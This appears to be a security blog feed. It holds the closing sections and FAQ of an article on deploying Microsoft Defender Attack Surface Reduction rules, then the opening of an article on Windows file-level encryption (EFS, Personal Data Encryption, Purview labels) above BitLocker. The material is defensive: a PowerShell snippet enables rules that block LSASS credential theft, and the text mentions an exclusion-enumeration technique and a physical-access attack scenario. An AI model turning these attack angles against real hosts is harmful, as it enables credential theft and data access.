The canonical deployment ladder is enumerated in the implementation guide on Microsoft Learn: start every rule in Audit, watch DeviceEvents for false positives, transition to Warn (or Block where Warn is unsupported), then transition to Block once the false-positive rate is acceptable in your first deployment ring [@ms-learn-asr-deployment-implement]. Two rules skip Warn entirely and go Audit straight to Block: Block credential stealing from LSASS and Block Office applications from injecting code into other processes [@ms-learn-asr-overview]. The other fourteen Other ASR rules support the full three-step ladder.

Step 3 -- Hunt with the universal query

DeviceEvents | where ActionType startswith "Asr" returns every Audit and Block emission across the fleet. Pair with DeviceProcessEvents and DeviceFileEvents for the corroborating edge data; the Section 6 RunnableCode block demonstrates the shape. For the one rule without a DeviceEvents row -- Block Webshell creation for Servers -- use Sysmon Event ID 11 in web roots plus IIS access logs [@ms-learn-asr-reference]. Microsoft Learn's operationalize page is the corresponding canonical reference for post-deployment monitoring practices [@ms-learn-asr-deployment-operationalize].

Step 4 -- Layer with the sibling controls

ASR alone is not a complete posture. The set of controls that compose with ASR includes:

Tamper Protection [@ms-learn-tamper-protection] -- prevents administrators (and attackers with admin rights) from disabling ASR rules at runtime through registry or service tampering.
Cloud Protection (MAPS) -- required for several rules including the prevalence-based executable rule and the ransomware advanced-protection rule [@ms-learn-asr-reference].
The Microsoft 365 Apps macros-from-the-internet-blocked-by-default policy [@ms-learn-internet-macros-blocked] [@ms-techcommunity-internet-macros-2022] -- the consumer-facing twin of ASR's Office rules; default-on for every Microsoft 365 tenant since the July 2022 staged rollout.
The Vulnerable Driver Blocklist [@ms-learn-driver-block-rules] -- default-on in Windows 11 22H2; sibling to the BYOVD ASR rule at the kernel-load edge.
EDR-in-block-mode [@ms-learn-edr-in-block-mode] -- only when Defender Antivirus is in passive mode (third-party AV is primary).
Sysmon -- for visibility into edges ASR does not block and for audit-trail corroboration of edges it does. (M1040 nominates ASR per-technique [@mitre-m1040]; M1042 does not mention Sysmon or ASR by name [@mitre-m1042] -- the pairing is practitioner consensus, not an M1042 nomination.)

Step 5 -- Track exclusions in source control

The exclusion list is the most common deployment-failure surface. Adding C:\Program Files\Vendor\ as an exclusion for one rule applies fleet-wide; over-broad exclusions are the dominant practical risk to the layer's integrity. Use Git or equivalent; review exclusions every quarter; demand a Jira ticket per exclusion with a sunset date.

Note: (1) Enable BYOVD, LSASS, and WMI persistence in Block mode (Standard protection -- start here). (2) Move the other sixteen rules through Audit, Warn, Block. (3) Hunt with DeviceEvents | where ActionType startswith "Asr". (4) Layer with Tamper Protection, Cloud Protection, the Microsoft 365 Apps macro default block, the Vulnerable Driver Blocklist, EDR-in-block-mode (for passive AV), and Sysmon. (5) Track exclusions in source control with sunset dates.

Note: Exclusions added to one ASR rule apply fleet-wide. Over-broad exclusions are the dominant practical attack surface against an otherwise well-configured ASR posture. Adam Svoboda's published technique demonstrates that low-privilege users can enumerate the exclusion list directly from Defender's VDM containers [@adamsvoboda-asr-exclusions]. Track exclusions in source control. Review quarterly. Require a ticket with a sunset date for every entry.

If LSA Protection (RunAsPPL) is enabled on the device, the LSASS ASR rule shows as "not applicable" because LSA Protection already enforces the same boundary at a different layer [@ms-learn-asr-overview]. Confused defenders sometimes interpret the "not applicable" state as a rule misconfiguration; it is in fact the correct behaviour, and means the host is already protected against the equivalent class of attacks by LSA Protection plus Credential Guard.

```powershell Set-MpPreference -AttackSurfaceReductionRules_Ids ` '56a863a9-875e-4185-98a7-b882c64b5ce5', ` '9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2', ` 'e6db77e5-3df2-4cf1-b95a-636979351e5b' ` -AttackSurfaceReductionRules_Actions Enabled, Enabled, Enabled Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids ``` Run as administrator. The three GUIDs are BYOVD, LSASS, and WMI persistence respectively. Confirm with the Get-MpPreference call. For staged rollout in an enterprise, manage these through Intune or Group Policy instead so the configuration follows the device.

Five steps, three Standard protection rules, sixteen Other ASR rules, two rules that skip Warn mode, one universal hunting query. The rest is exception-list discipline. Section 11 closes with the seven misconceptions that survive every rollout.

11. Frequently Asked Questions

No. ASR rules live inside **Microsoft Defender Antivirus** -- the on-host scanning engine that ships free with every Windows edition that includes Defender. **Microsoft Defender for Endpoint** is the cloud-managed EDR layer Microsoft sells on top, with `DeviceEvents` Advanced Hunting, Indicators of Compromise management, and automated investigation. ASR rules can be configured locally via PowerShell or Group Policy with no Defender for Endpoint licence at all. Defender for Endpoint adds management, telemetry ingestion, and Advanced Hunting; it does not add the enforcement [@ms-learn-asr-reference] [@ms-learn-edr-in-block-mode]. No. This is the SOC-playbook folklore that survives every rollout. Each rule emits a rule-specific `AsrAudited` and `AsrBlocked` pair (the server-only Webshell rule is the only exception, with no `DeviceEvents` row at all). The canonical universal Advanced Hunting query is `DeviceEvents | where ActionType startswith "Asr"`, not equality against a generic value. Microsoft Learn's rules reference enumerates every pair [@ms-learn-asr-reference]. No. The Office macro era ended through three layers in combination: (1) **Europol's Operation LadyBird** on January 27, 2021, the coordinated international takedown of Emotet's command-and-control infrastructure [@europol-emotet-disrupted-wayback]; (2) **ASR's 2017-onward Office rules at the enterprise tier**, managed through Intune, Group Policy, or Defender for Endpoint; (3) **the Microsoft 365 Apps internet-macro default block at the consumer and tenant tier**, announced by Tom Gallagher on February 7, 2022 and resumed July 20, 2022 after a brief pause for usability fixes [@ms-techcommunity-internet-macros-2022]. ASR is the enterprise-managed layer. It was not the only layer. The honest version of the story names all three. Partially yes, and the nuance matters. The interception point (`WdFilter.sys`, registered at altitude 328010 in the FSFilter Anti-Virus band per the IFS allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]) is **kernel-mode**. The policy evaluation (`MsMpEng.exe`) is **user-mode** at integrity level System. Calling ASR "kernel-mode" without nuance is incomplete; the correct one-line framing is "kernel-mediated interception, user-mode policy evaluation." No. Microsoft Learn's overview page states verbatim: "If you enabled Local Security Authority (LSA) protection (recommended, along with Credential Guard), this rule is redundant" [@ms-learn-asr-overview]. The LSASS ASR rule shows as "not applicable" on devices where LSA Protection is enabled. The "not applicable" state is the correct behaviour, not a misconfiguration. No. Only two ASR rules skip Warn mode -- "Block credential stealing from the Windows local security authority subsystem" and "Block Office applications from injecting code into other processes" -- both per Microsoft Learn's overview page [@ms-learn-asr-overview]. Section 4 Generation 3 walks the byte-level proof that the rest of the catalogue (including the Safe Mode reboot rule and the copied-tools rule, two of the five rules the folklore wrongly lists) does support Warn. Yes -- routinely. The "the SOC never sees ASR" framing is rhetoric, not reality. Multiple rules raise EDR alerts in Defender for Endpoint; every rule except the Webshell rule lands a row in `DeviceEvents` [@ms-learn-asr-reference]. The accurate framing is that ASR blocks rarely require analyst response because there is nothing left to triage once the kernel has returned the operation as failed -- the Frankfurt analyst from this article's opening never gets paged because the macro never spawned PowerShell. The SOC can hunt, audit, and report on ASR activity at any time; the choice not to triage individual blocks is exactly what a well-tuned preventive layer ought to enable.

Nine years, seven generations, nineteen rules, one structural pivot from nodes to edges, and the same Cohen-1984 ceiling that every behaviour-block list inherits. The Frankfurt analyst from this article's opening never knew the macro fired -- because the kernel made sure nothing happened. That is the article in one sentence: a quiet layer that converts a credential-stealing-banking-trojan-turned-loader campaign into a single-row telemetry event the SOC routinely ignores, by classifying edges instead of nodes.

Beyond BitLocker: The Three File-Level Encryption Layers Microsoft Hides in Plain Sight

noreply@paragmali.com (Parag Mali) — Tue, 26 May 2026 00:00:00 GMT

**"BitLocker is on" is a misleading shorthand.** BitLocker encrypts the volume, but the volume is decrypted to the running OS the moment the TPM unseals -- which happens before any human authenticates. Three above-BitLocker layers close different gaps: the Encrypting File System (legacy per-user per-file, sealed by classic DPAPI), Personal Data Encryption (Hello-bound per-file, released through DPAPI-NG), and Microsoft Purview sensitivity labels (envelope encryption via Azure Rights Management, travels with the file across tenants). Three layers, three protection-key roots, three threat models -- by design, not by accident.

1. "BitLocker Is On"

A Windows 11 laptop sits on a desk at the user's lock screen. TPM-only BitLocker, secure boot clean, automatic login disabled. The owner stepped away to take a call.

An attacker with physical access boots it normally. The TPM unseals the volume master key against PCR[7] and PCR[11].Microsoft Learn states the Secure Boot anchor verbatim: "By default, BitLocker provides integrity protection for Secure Boot by utilizing the TPM PCR[7] measurement" [@ms-bitlocker-countermeasures]. PCR[11] is widely documented in TCG-aware BitLocker references as the boot-manager / BitLocker access-control measurement; the cited Wikipedia BitLocker article confirms TPM-PCR sealing in general terms [@wikipedia-bitlocker]. The point that matters is that TPM-only BitLocker seals against a subset of platform-state PCRs, and the unseal happens automatically when the boot chain has not been tampered with. NTFS mounts. The login prompt appears. The attacker now stands in front of a fully decrypted volume without having authenticated as any user.

What is, and what is not, still protected at this exact instant?

The expected reaction is "the data on disk is plaintext to whoever can read the running kernel; isn't that the whole point of why people add a PIN to BitLocker?" That reaction is half right. The volume is plaintext, yes. But not every file on it is readable.

Files marked with the EFS attribute are still encrypted. Files inside a Personal Data Encryption (PDE) protected folder are still encrypted. A DOCX labelled "Confidential - All Employees" by a Purview sensitivity label is still encrypted. Three different cryptographic mechanisms, three different protection-key roots, three different reasons the attacker is staring at ciphertext while the volume is mounted.

This is the gap the rest of the article walks. It is the gap most security architects know exists in the abstract -- "BitLocker is on" does not mean "every file is locked" -- and which most do not know is closed by three structurally distinct technologies that have been hiding in plain sight since 2000.

Adding a pre-boot PIN closes part of this gap by requiring user input before the TPM releases the volume master key. That is genuinely useful. But TPM+PIN does not give per-user isolation on a shared device -- everyone with the PIN sees everyone else's files. It does not travel with the file when that file is emailed, copied to OneDrive, or saved on a USB stick. And it does not bind the on-disk key to any particular human identity. Pre-boot authentication and above-volume encryption solve different problems. The three layers in this article sit *on top* of TPM+PIN BitLocker, not in place of it.

Three layers, three reasons, three different roots, three different attack surfaces. That is the article.

sequenceDiagram participant Hardware as TPM and PCRs participant Boot as Boot Manager participant OS as Windows Kernel participant User as Human at Keyboard Hardware->>Boot: PCR[7], PCR[11] match Boot->>OS: VMK released, NTFS mounts OS->>OS: Volume now plaintext to kernel OS->>User: Lock screen presented Note over OS,User: Attacker stands here, with a plaintext volume and no authenticated user User-->>OS: Hello PIN or biometric (eventually) OS->>OS: Per-user secrets unseal

2. Historical Origins: Windows 2000 and the Birth of EFS

It is 1999. Laptops are appearing on every executive's desk. Theft is rising. The only protection NTFS offers against an attacker who walks off with a machine is the access control list, and the ACL is checked by the kernel of the operating system that mounted the disk. Boot a different operating system off floppy or CD, mount the NTFS volume as a foreign filesystem, and the ACL is just metadata to be ignored. The cryptographic protection of the data is exactly nothing.

Microsoft's NTFS team responded by adding the first cryptographic primitive to the filesystem itself. Windows 2000 reached general availability on February 17, 2000 (after a December 15, 1999 release-to-manufacturing milestone) and shipped the Encrypting File System -- EFS [@wikipedia-windows2000]. The mechanism is documented in the 1999 Microsoft technical paper Encrypting File System for Windows 2000 [@efs-1999-paper].The original Microsoft Research URL for this paper now returns HTTP 404. A binary PDF mirror is preserved at cypherspace.org, but the PDF is image-streamed and the body text is not retrievable for direct quotation. The Microsoft author list could not be verified against the primary text, so this article cites the paper anonymously. The Microsoft Learn EFS Win32 reference, still on the docs site today, states the design plainly: "The Encrypted File System (EFS) provides an additional level of security for files and directories. It provides cryptographic protection of individual files on NTFS file system volumes using a public-key system" [@ms-efs-win32].

That sentence carries three design choices the rest of EFS hangs from. File-level, not volume-level. NTFS attribute, not separate database. Public-key system, not symmetric password. Each of those choices was deliberate. Each fixes a problem the architects of NTFS in 1999 actively worried about.

The file-level choice answered the "what if BitLocker is on" question seventeen years before BitLocker existed. NTFS already protected files at the access-control layer; what the team wanted was a way to make a particular file unreadable to a different user account on the same machine, not just to a foreign operating system. Volume encryption could not do that. The volume is one thing; users are many. So encryption belonged on the file.

The NTFS-attribute choice answered the integration question. EFS encryption lives in a named stream attached to the file, $EFS. The Windows API surface stays the same: CreateFile, ReadFile, WriteFile, CopyFile all work transparently against an encrypted file when called by an authorised user. Microsoft Learn is explicit about how the integration works: "When the source file is encrypted, CopyFile and CopyFileEx rely on the EFS service (hosted in lsass.exe) to create the target file and apply keys used in encryption of the source file" [@ms-efs-win32]. Encryption was made invisible to existing applications. That was the only way a 1999 enterprise was going to deploy it.

The public-key choice answered the recovery question. Public-key crypto lets the file have multiple wrappers around the same symmetric content key -- one for the user, one or more for designated recovery agents. An organisation that lost the user's private key (employee leaves, password forgotten, hard drive moved to a different machine) could still recover the file using a recovery agent the IT team controlled. The first Microsoft response to "what happens when a user forgets their password?" was Group-Policy-enforced Data Recovery Agents (DRAs) [@wikipedia-efs]. In Windows 2000, the default DRA was the local Administrator account. From day one, EFS encryption was meant to be reversible by someone other than the file owner.

EFS is on the disk now. So what does the encrypted file actually look like? What does NTFS store, and where does the key live?

3. How EFS Works -- And Why It Was Always Per-User

The EFS key chain is the most important diagram in this article. Read it once carefully; every limitation of EFS that practitioners hit in production drops mechanically out of these arrows.

The chain has four layers. The bottom layer is the file contents themselves, encrypted with a freshly generated symmetric key called the File Encryption Key.

A per-file symmetric key, generated at the moment a file is first encrypted, used to encrypt the file body. Wikipedia summarises the design: *"EFS works by encrypting a file with a bulk symmetric key, also known as the File Encryption Key, or FEK"* [@wikipedia-efs]. The FEK never leaves the file system in plaintext; it is RSA-wrapped to every authorised principal before being stored in the file's `$EFS` attribute.

The FEK is symmetric for performance: AES on the file body, not RSA. The Wikipedia EFS article notes that "the FEK (the symmetric key that is used to encrypt the file) is then encrypted with a public key that is associated with the user who encrypted the file, and this encrypted FEK is stored in the $EFS alternative data stream of the encrypted file" [@wikipedia-efs]. The same paragraph adds the second wrapper, the one without which enterprise EFS deployments would not work.

A second principal whose public key is RSA-wrapped around the FEK at encryption time, so that the recovery agent can decrypt the file even if the owning user is unavailable. Wikipedia notes that *"In Windows 2000, the local administrator is the default Data Recovery Agent, capable of decrypting all files encrypted with EFS by any local user"* [@wikipedia-efs]. Group Policy still ships DRA configuration in modern Windows.

The cipher inside the FEK has not been static. EFS shipped with one default cipher in Windows 2000 and has moved several times since; the precise Windows 2000 default is disputed across secondary sources. Rather than commit to a version we cannot verify, this article notes that the FEK cipher has changed across releases. AES has been the default since Windows XP SP1 [@wikipedia-efs]; a later Windows 10 release moved the default key size from AES-128 to AES-256.Microsoft Group Policy / FIPS-compliance guidance documents the AES-128 to AES-256 default-key-size change at Windows 10 1709, but the cited Wikipedia EFS article's algorithm table lists only "AES" without a specific key size, so this article hedges on the exact version while keeping the AES-since-XP-SP1 anchor verbatim from Wikipedia.

Now look at the top of the chain. The user's EFS RSA private key sits in the user's roaming profile, in the path %APPDATA%\Microsoft\Crypto\RSA\<SID>\.This same directory is where cipher.exe /R writes self-signed DRA certificates and where cipher.exe /K writes the user's own EFS keypair if one does not yet exist. Operational confusion lives here, because the same directory holds both per-user EFS keypairs and any recovery-agent certificates the user has imported. The private key is not stored in the clear. It is sealed by classic Data Protection API (DPAPI), Microsoft's per-user key-derivation system that wraps user-scoped secrets with a master key derived from the user's logon credential.

*Classic DPAPI* is the original Windows Data Protection API. Microsoft Learn describes the original pair: *"Microsoft introduced the data protection application programming interface (DPAPI) in Windows. The API consists of two functions, CryptProtectData and CryptUnprotectData."* [@ms-dpapi-ng] It is per-user and per-machine: the master key is derived from the user's logon secret, so decrypting works only when the user is logged on locally. *DPAPI-NG* (Data Protection API "Next Generation") was added in Windows 8 to extend the same idea to cloud scenarios where content encrypted on one machine must be decrypted on another, or where the unwrap should require a specific authentication factor. Microsoft Learn states the motivation: *"Cloud computing, however, often requires that content encrypted on one computer be decrypted on another. Therefore, beginning with Windows 8, Microsoft extended the idea of using a relatively ... API to encompass cloud scenarios."* [@ms-dpapi-ng] EFS uses classic DPAPI. PDE, as we will see, uses DPAPI-NG.

Wikipedia's EFS article states the consequence in one terse sentence: "In Windows 2000, XP or later, the user's RSA private key is encrypted using a hash of the user's NTLM password hash plus the user name ... any compromise of the user's password automatically leads to access to that data" [@wikipedia-efs]. The cryptographic identity of the file's owner is the user's logon credential, by construction.

That is the design. Now mechanically derive the consequences.

Per-user, not per-process

The unwrapping principal of the EFS chain is the user SID. There is no place in the chain where an application identity could insert itself as a separate consumer. If you log on as Alice, every process running as Alice can ask the EFS service in lsass.exe to unwrap any file Alice owns. The EFS service is a single user-mode endpoint; it does not gate on the calling process.

Contrast this with Credential Guard and the LSAIso enclave, which deliberately move secret material into a Virtualization-Based Security enclave that even a kernel-mode caller in the host VTL cannot read. EFS is per-user; LSAIso is per-process-with-attestation. Different threat models, different mechanics.Credential Guard's LSAIso isolation is the kernel-mode equivalent of "the application sees plaintext only if the application is the right application." EFS predates this design vocabulary by a decade and a half; its arrows simply do not include an application-identity step.

Password reset destroys access

If the only thing protecting the user's EFS RSA private key is classic DPAPI keyed off the user's password, then anything that breaks the user-password-to-master-key derivation also breaks the user's access to every EFS-encrypted file they own. Resetting a user's password from a domain administrator account does exactly this. Wikipedia warns in plain terms: "any compromise of the user's password automatically leads to access to that data" [@wikipedia-efs] -- which is the same statement read the other way. Lose the password, lose the data. The DRA exists precisely so that the organisation still has access; the user, however, is locked out.

Decryption on cross-volume or cross-protocol copy

EFS is bound to NTFS. When a file is copied to a different filesystem -- FAT32, exFAT, or pre-24H2 ReFS -- the destination cannot store the $EFS stream, and the file is decrypted in transit. Wikipedia again: "Files and folders are decrypted before being copied to a volume formatted with another file system, like FAT32. Finally, when encrypted files are copied over the network using the SMB/CIFS protocol, the files are decrypted before they are sent over the network" [@wikipedia-efs].

This is not an EFS bug; it is what falls out when the encryption is implemented as a filesystem attribute and the destination filesystem has no equivalent. The cryptography ends where the attribute ends.

Opt-in, per file

EFS is enabled by setting the encrypt-attribute on a file or folder via right-click Properties > Advanced > Encrypt contents to secure data, or via cipher.exe /e. The user has to remember to do it. The volume default is unprotected. That is the entire mechanism: there is no "encrypt every file Alice creates in her profile" policy in classic EFS. PDE, twenty-two years later, finally addresses this.

Mutually exclusive with PDE

Microsoft Learn states the mutual exclusion plainly: "No, Personal Data Encryption and EFS are mutually exclusive" [@ms-pde-faq]. A file cannot have both an EFS wrapper and a PDE wrapper at the same time. We will see why in §5; for now, register that the two layers compete at this layer of the stack, not compose.

Key idea: Every limitation of EFS drops mechanically out of one design decision: the protection root is the user's logon secret. EFS is per-user because the cryptographic identity is the user. To close the gaps EFS leaves, you cannot keep using the user's logon secret as the root. You need a different root.

{` // Illustrative only. Real EFS uses CNG primitives inside the EFS service in lsass.exe. // Do not run this against real keys or files.

function encryptFileWithEFS(plaintext, userPublicKey, draPublicKeys) { // 1. Generate a per-file symmetric File Encryption Key (FEK). const fek = randomBytes(32); // AES-256 since Windows 10 1709

// 2. Encrypt the file body with the FEK. const ciphertext = aesEncrypt(plaintext, fek);

// 3. RSA-wrap the FEK to every authorised principal. const wrappers = []; wrappers.push({ sid: 'user-sid', wrappedFek: rsaWrap(fek, userPublicKey) }); for (const dra of draPublicKeys) { wrappers.push({ sid: dra.sid, wrappedFek: rsaWrap(fek, dra.publicKey) }); }

// 4. Store wrappers in the file's $EFS attribute. Body is on disk. return { body: ciphertext, efsAttribute: wrappers }; }

// Decryption is the reverse: locate the wrapper for the calling user's SID, // unwrap the FEK with the user's EFS private key (loaded from // %APPDATA%\Microsoft\Crypto\RSA\\ and unsealed by classic DPAPI from // the user's logon secret), then AES-decrypt the body. console.log('EFS encryption shape: one FEK, multiple RSA wrappers'); `}

EFS is per-user because the cryptographic identity is the user. To close the gaps EFS leaves, you have to change the root. That is what the next twenty-six years of Windows file-data protection do, one root at a time.

4. Six Generations of Closing Each Other's Gaps

Each generation of Windows file-data protection is engineered to close a gap left by the previous one, and each new layer introduces a different protection-key root because each gap has a different threat model. Here is the twenty-six-year sequence.

timeline title Windows file-data protection generations 2000 : EFS ships with Windows 2000 : Per-user per-file, RSA wrap, classic DPAPI root 2003 : RMS ships with Windows Server 2003 : Per-content envelope, identity service authorization 2006 : BitLocker ships with Windows Vista : Volume-level, TPM-sealed VMK 2013-2014 : Azure RMS reaches general availability : Tenant key in Azure, cross-organisation default 2018-2019 : Microsoft Information Protection unifies labels : Same RMS engine, single labelling plane 2022 : Microsoft Purview brand consolidation : MIP becomes Microsoft Purview Information Protection 2022 : Personal Data Encryption ships in 22H2 : Hello-bound DEK via DPAPI-NG 2022 : Windows Information Protection sunsets : "Honest employees" tool retired 2024 : PDE for known folders ships in 24H2 : Desktop, Documents, Pictures auto-encrypted

Each year row in this diagram is anchored to a primary source cited inline in the corresponding generation section below: the Windows 2000 EFS milestone [@wikipedia-windows2000], the Windows Server 2003 RMS debut and lineage [@wikipedia-adrms], the November 30, 2006 BitLocker release [@wikipedia-bitlocker], the Azure Rights Management general-availability lineage [@ms-azure-rms], the Microsoft Information Protection brand and its April 2022 consolidation into Microsoft Purview [@ms-purview-launch], the Windows 11 22H2 / 24H2 Personal Data Encryption rollout [@ms-pde-overview], and the Windows Information Protection sunset [@ms-wip-deprecation]. Mermaid syntax does not accept pandoc inline citations inside the diagram body, so the citations live in the prose immediately after.

Generation 1 -- EFS (2000)

Covered in §2 and §3. One paragraph recap: per-user, per-file, opt-in, RSA-wrapped FEK, user EFS RSA private key sealed by classic DPAPI from the user's logon secret. Root: the user's password. Threat model: a different user on the same machine, or a foreign operating system that mounts NTFS without honouring ACLs.

Generation 2 -- BitLocker (2006)

Six years after EFS, Microsoft moved encryption off the file and down to the volume. BitLocker shipped with Windows Vista on November 30, 2006 [@wikipedia-bitlocker]; the consumer launch of Vista that included it followed on January 30, 2007 [@wikipedia-bitlocker]. The cipher in the first BitLocker release was AES-CBC with Niels Ferguson's Elephant Diffuser, a manipulation-resistance construction documented in the 2006 Microsoft technical paper AES-CBC + Elephant Diffuser: A Disk Encryption Algorithm for Windows Vista [@ferguson-2006].Niels Ferguson is the named cryptographer behind BitLocker's original cipher mode. He is the only individual this article names with primary-source confidence. Most other work in this space ships team-attributed.

Later releases moved to XTS-AES with 128-bit or 256-bit keys; XTS-AES has been the default since a Windows 10 release in the mid-2010s [@wikipedia-bitlocker].

The cipher mode is not the point. The point is what changed in the root. BitLocker's Volume Master Key (VMK) is sealed in the TPM against a set of Platform Configuration Registers, and released automatically when the registers match the expected boot state.

A key-encrypting key that wraps the Full Volume Encryption Key. If a user changes their password or a new recovery key is escrowed, only the VMK wrappings change -- the entire volume does not need re-encryption. The VMK itself is sealed in the TPM against the platform's boot-state PCRs and released at boot when the PCRs match [@wikipedia-bitlocker].

The human is removed from the encrypt-this-file decision. There is no per-file opt-in; the volume protects everything, including system files, swap, and hibernation. There is no per-user wrapping; the VMK is one thing, the volume is one thing.

This is why BitLocker does not subsume EFS. The two layers protect different things. BitLocker protects the volume at rest, before the OS boots; EFS protects per-file per-user after the OS has mounted the volume and a particular user has logged on. The "BitLocker is on" vignette in §1 is exactly the gap BitLocker structurally cannot close: BitLocker is unlocked the moment the TPM unseals, and the unseal happens before any human authenticates.

A dedicated BitLocker article on this site covers volume-internal mechanics in depth -- VMK, FVEK, recovery key escrow, TPM+PIN configuration, cipher migration. This article assumes that BitLocker knowledge and concentrates on the *above-volume* layers. The reader who wants the volume internals should read that article alongside this one.

Generation 3 -- RMS and Azure RMS (2003, 2013-2014)

Three years after EFS, Microsoft shipped a completely different shape of file encryption with Windows Server 2003: Rights Management Services. Wikipedia traces the lineage: "Active Directory Rights Management Services (AD RMS, known as Rights Management Services or RMS before Windows Server 2008) is a server software for information rights management shipped with Windows Server" and "RMS debuted in Windows Server 2003, with client API libraries made available for Windows 2000 and later" [@wikipedia-adrms].

RMS solved a different problem from EFS or BitLocker. The question was: can a document remain encrypted when emailed outside the organisation, or copied to a USB stick, or stored in a shared folder a different user has read access to? EFS could not -- decrypted on cross-protocol copy. BitLocker could not -- the volume is unlocked. RMS introduced a different shape: each protected document carries an envelope that includes a wrapped Content Encryption Key and a policy reference, and decryption requires the consumer to obtain a use license from the RMS service against an authenticated identity.

A per-content symmetric key generated when a document is protected with a Purview sensitivity label that applies encryption. The CEK is wrapped by the tenant root key (or by the customer-held DKE key, where Double Key Encryption is configured) and travels embedded in the document file alongside policy metadata. Microsoft Learn describes the topology: *"The Azure Rights Management tenant key is your organization's root key for the main encryption service for Microsoft Purview Information Protection. Other keys can be derived from this root key, including user keys, computer keys, or document encryption keys"* [@ms-byok]. A short-lived authorization artifact issued by the Azure Rights Management service to a specific authenticated user, granting them the rights expressed by the document's policy (view, edit, print, copy, forward). Microsoft Learn states the cross-organisation default: *"By default, collaboration with other organizations that already have a Microsoft 365 or a Microsoft Entra directory is automatically supported"* [@ms-azure-rms]. A user without a valid use license cannot decrypt the CEK, even if they possess the file.

A few years after AD RMS shipped, Microsoft moved the RMS engine to the cloud as Azure RMS. The protection topology stayed the same: per-content CEK, tenant root key, use-license issuance against an identity service. What changed is that the identity service is now Microsoft Entra ID and the root key sits in Azure (or, with Bring Your Own Key, in an Azure Key Vault customer hold) instead of on a Windows Server. Microsoft Learn defines Azure RMS as "the main cloud-based encryption service from Microsoft Purview Information Protection" and notes that "Encryption settings remain with your data, even when it leaves your organization's boundaries" [@ms-azure-rms].

This is the "travels with the file" generation. Email a CEK-wrapped DOCX to an external recipient; the recipient still needs a use license from Azure RMS; the document does not become plaintext just because it changed hands.

Generation 4 -- MIP, then Microsoft Purview Information Protection (late 2010s, 2022)

The late-2010s reorganisation is fundamentally a policy-plane unification, not a new engine. Azure Information Protection's classification and labelling, the Office unified labelling client, and a growing set of policy controls were brought together under the Microsoft Information Protection (MIP) name in the late 2010s. The encryption engine underneath stayed Azure RMS.

In April 2022, the entire compliance, classification, and information-protection portfolio got a single brand: Microsoft Purview. The April 19, 2022 launch blog post explained the consolidation: "To meet the challenges of today's decentralized, data-rich workplace, we're introducing Microsoft Purview ... that help you govern, protect, and manage your entire data estate" [@ms-purview-launch]. The same post's product-naming table mapped "Microsoft Information Protection" to "Microsoft Purview Information Protection" directly. Same engine. Same envelope shape. New name.

For the practitioner, this matters less than it looks. The on-disk artifact of a Purview-labelled document is the same CEK-wrapped envelope it was under MIP, AIP, and AD RMS. The label is metadata; whether the label applies encryption depends on the label's settings. Microsoft Learn states the engine plainly: "Unless you're using S/MIME for Outlook, encryption that's applied by sensitivity labels to documents, emails, and meeting invites all use the Azure Rights Management service from Microsoft Purview Information Protection" [@ms-purview-labels].

Generation 5 -- PDE (December 2022)

December 8, 2022. Microsoft announced Personal Data Encryption in a Tech Community post with a title that telegraphs the threat model: Introducing Personal Data Encryption, securing user data before login and under lock [@ms-pde-announcement]. The verbatim contrast with BitLocker, from the same post, is the cleanest statement of the gap PDE closes:

Bitlocker provides full volume encryption and Bitlocker protected data is available when the device boots up, whereas PDE protected data is available only after the user authenticates to Windows Hello for Business at login or to unlock the screen.

That sentence carries the entire design. BitLocker unlocks at boot. PDE unlocks at Hello sign-in. The post-boot pre-logon window the §1 vignette dwelled in is exactly the window PDE was built to close. PDE shipped with Windows 11 22H2 [@ms-pde-overview]. The cipher is AES-CBC with a 256-bit key [@ms-pde-overview]. The protector binds to a Windows Hello for Business credential, not to a password.

The PDE FAQ adds the second key constraint: "the keys used by Personal Data Encryption to encrypt content are protected by Windows Hello credentials and can only be unlocked when signing on with Windows Hello (PIN or biometrics)" [@ms-pde-faq]. Password sign-in does not unlock PDE content. RDP does not unlock it. Other users on the same machine do not unlock it. We will walk the full mechanism in §5 and §6; for now, register that the root is Windows Hello for Business, not the user's password.

Generation 6 -- PDE for Known Folders (Windows 11 24H2)

The 22H2 release of PDE was API-only [@ms-pde-announcement]. Applications could call Windows.Security.DataProtection.UserDataProtectionManager.ProtectStorageItemAsync to wrap an individual file, but Windows itself did not encrypt anything by default. That changed with Windows 11 24H2.

Microsoft Learn describes the 24H2 addition: "Starting in Windows 11, version 24H2, Personal Data Encryption is further enhanced with Personal Data Encryption for known folders. Once enabled, the Windows folders Desktop, Documents, and Pictures, along with their contents, are automatically encrypted" [@ms-pde-overview]. The CSP node tree (configured via Intune or any MDM that speaks ./User/Vendor/MSFT/PDE) gained ProtectFolders/ProtectDesktop, ProtectFolders/ProtectDocuments, and ProtectFolders/ProtectPictures for this purpose [@ms-pde-csp]. The PDE CSP itself was added in 22H2 (build 10.0.22621), while the known-folder nodes are gated to 24H2 (build 10.0.26100) and later [@ms-pde-csp].

For the first time since EFS, Windows shipped a per-user file-encryption mechanism that did not require the user to opt every individual file in. The default for the three best-known per-user folders -- if the administrator enables it -- is encrypted.

The dead-end branch -- Windows Information Protection (2016 to mid-2022)

One more entry belongs on the timeline. Windows Information Protection, originally Enterprise Data Protection, was Microsoft's mid-2010s attempt at "container-style" data separation: corporate files in a container, personal files outside the container, copy-paste between them gated by policy. Microsoft Learn's /previous-versions/ landing page for WIP states the design intent: "Windows Information Protection (WIP), previously known as enterprise data protection (EDP), helps to protect against this potential data leakage without otherwise interfering with the employee experience" [@ms-wip-deprecation].

The same page is candid about the limit: "While Windows Information Protection can stop accidental data leaks from honest employees, it is not intended to stop malicious insiders from removing enterprise data" [@ms-wip-deprecation]. WIP was sunset in mid-2022 and the recommended replacement was the Microsoft Purview Information Protection plus Microsoft Purview Data Loss Prevention combination [@ms-wip-deprecation].

Each generation chose a different protection-key root. That is the most important observation in the article -- and it has been hiding in plain sight since 2003.

5. Three Layers, Three Roots, Three Threat Models

BitLocker, EFS, PDE, and Purview sensitivity labels use four different protection-key roots because each one closes a different gap, and each gap has a different threat model. That is by design.

The four roots:

Layer	Protection-key root	Sealed by	Unlocked at	Granularity	Travels with file
BitLocker	TPM-sealed VMK	TPM, against PCRs	Boot, when PCRs match	Volume	No
EFS	User EFS RSA private key	classic DPAPI from logon secret	First file access in logon session	File, per-user	No
PDE	DEK bound to Hello credential	DPAPI-NG protection descriptor	Hello sign-in (PIN or biometric)	File, per-Hello-user	No
